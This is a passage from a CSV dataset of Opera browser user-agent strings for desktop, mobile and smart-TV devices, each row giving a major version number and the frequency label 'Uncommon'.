AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.54\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144 (Edition Yx)\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.59 (Edition RMV)\",30,Uncommon\nOpera 9.4 (Windows NT 6.1; U; en),9.4,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.137\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1620.0 OMI/4.3.18.7.Dominik.0\",25,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; A1601 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.110486\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 OPR/33.0.1990.43\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; Xperia Z3 Dual Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.141 Mobile Safari/537.36 OPR/45.1.2246.125351\",45.1,Uncommon\nOpera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.10 (JVC, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144 (Edition Yx)\",43,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.39.24.3 (BUSH, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.6 Safari/537.36 OPR/34.0.1996.0 (Edition developer)\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77 (Edition Campaign 37)\",23,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 OPR/29.0.1795.47\",29,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\nOpera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01,8,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; BLU ADVANCE 4.0 L Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.105088\",37,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.6.30 Version/10.63,10,Uncommon\nOpera/9.80 (X11; Linux zbov; U; en-GB) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.34.15 (HITACHI, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2824.2 Safari/537.36 OPR/41.0.2329.0 (Edition developer)\",41,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Campaign 06) Presto/2.12.388 Version/12.18,12,Uncommon\nOpera/9.80 (Linux mips ; U; HbbTV/1.1.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/3.2.4; en) Presto/2.6.33 Version/10.70,10,Uncommon\nOpera/9.99 (Windows NT 5.1; U; en-US) Presto/9.9.9,9,Uncommon\nOpera/9.80 (Linux mips ; U; HbbTV/1.1.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/3.2.1; en) Presto/2.6.33 Version/10.70,10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\n\"Opera/9.62 (X11; Linux x86_64; U; hu, en_US) Presto/2.1.1\",9,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 OPR/29.0.1795.60\",29,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 4K 2015 Build/LMY48E.S223) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\nSpice M5885   Browser/Opera  Opera/9.80 (MTK; U; hi-IN) Presto/2.5.28 Version/10.10,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36 OPR/15.0.1147.100\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.62\",16,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.58 Safari/537.36 OPR/25.0.1614.18 (Edition beta)\",25,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.9.1) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.39.24.3 (POLAROID, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.11,12,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.3.c (TOSHIBA, Si2156LG32, wireless)\",12,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; SM-P600 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2044.98679\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.31\",37,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26\",46,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; A1601 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.107169\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\nOpera/9.80 (Window NT 6.2; Win64; x64) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00,11,Uncommon\n\"Mozilla/5.0 (Linux; Android 6.0.1; CPH1701 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.112031\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (Linux; Android 2.3.6; SCH-S720C Build/GINGERBREAD) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Mobile Safari/537.31 OPR/14.0.1074.57768\",14,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 OPR/17.0.1241.45\",17,Uncommon\nOpera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (DIGIHOME, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01,11,Uncommon\nOpera/9.00 (Windows NT 5.1; U; en),9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\nOpera/5.11 (Windows 98; U) [en],5,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.20 Safari/537.36  OPR/15.0.1147.18 (Edition Next)\",15,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40\",28,Uncommon\nOpera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 4K 2015 Build/LMY48E.S243) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1159\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99\",31,Uncommon\nOpera/7.51 (Windows NT 5.1; U) [en],7,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 2015 Build/LMY48E.S223) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; F1f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.99 Mobile Safari/537.36 OPR/35.2.2070.103882\",35.2,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3236.0 Safari/537.36 OPR/50.0.2759.0 (Edition developer)\",50,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.62,11,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 OPR/27.0.1689.66 (Edition Campaign 67)\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\nMozilla/4.0 (Windows 98; US) Opera 12.16 [en],12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58 (Edition Campaign 76)\",50,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2236.0 Safari/537.36 OPR/28.0.1719.0 (Edition developer)\",28,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2044.98679\",34,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.78 Safari/537.36 OPR/32.0.1953.96473\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\nOpera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Uncommon\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.61\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 OPR/29.0.1795.60 (Edition Yx 01)\",29,Uncommon\nOpera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.01,12,Uncommon\nOpera/9.20 (Macintosh; Intel Mac OS X; U; en),9,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 OPR/26.0.1656.24\",26,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 